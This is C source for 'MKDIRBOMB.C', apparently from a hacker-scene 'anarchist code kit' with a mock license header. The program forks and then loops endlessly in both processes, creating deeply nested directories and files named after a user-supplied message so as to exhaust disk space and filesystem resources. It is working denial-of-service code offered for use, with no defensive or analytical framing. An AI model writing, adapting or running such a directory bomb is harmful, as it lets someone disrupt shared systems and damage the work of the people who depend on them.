/***********************************************
* released under (E) licensing ... *
* (E) RULES AND REGULATIONS *
* permission to use/rewrite/add : granted *
* permission to trojan/steal : denied *
* permission to use illegally : denied *
* permission to use on /dev/urandom : denied *
***********************************************/
/* contact el8@press.co.jp for full license */
/* code copyrighted by ~el8 -- don't infringe! */
/* PART 2 OF THE ANARCHIST CODE KIT */
/* MKDIRBOMB.C -- S1LLYG00S3 */
/* Usage is MKDIRBOMB directory msg
msg is under 100 chars
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
int main(int argc, char *argv[])
{
time_t t1;
time_t t2;
int r1;
int r2;
char buff1[255];
char buff2[255];
int i1;
int i2;
int fd1;
int fd2;
r1 = r2 = i1 = i2 = fd1 = fd2 = 0;
t1 = t2 = 0;
if (argc != 3) {
puts("RE4D JA USAG4 PEEZ!");
exit(-1);
}
if (strlen(argv[2]) >= 100) {
puts("argv[2] -- too long!");
exit(-1);
}
if (access(argv[1], F_OK) < 0) {
puts("Could not access dir.");
if (argv[1][0] != '/') {
printf("Creating local dir %s\n", argv[1]);
if (mkdir(argv[1], umask(777)) < 0) {
perror("mkdir()");
exit(-1);
}
} else
exit(1);
}
chdir(argv[1]);
if (!fork()) {
chdir(argv[1]);
for (;;) {
bzero(&buff2, sizeof buff2);
(void) time(&t2);
r2 = rand();
if (i2)
snprintf(buff2, sizeof buff2, "%s%i%i", argv[2], t2, r2);
else
snprintf(buff2, sizeof buff2, "%s%i%i", argv[2], r2, t2);
mkdir(buff2, umask(777));
chdir(buff2);
fd1 = open("./S1LLYG00S3", O_CREAT | O_RDWR);
if (fd1)
close(fd1);
i2 += 1;
if (i2 == 3)
i2 = 0;
}
}
strncpy(buff1, argv[2], strlen(argv[2]));
i1 = 0;
for (;;) {
(void) time(&t1);
r1 = rand();
if (strlen(buff1) == 250) {
bzero(&buff1, sizeof buff1);
strncpy(buff1, argv[2], strlen(argv[2]));
}
strncat(buff1, "o", 1);
mkdir(buff1, umask(777));
chdir(buff1);
}
return 1;
}
syntax highlighted by Code2HTML, v. 0.9.1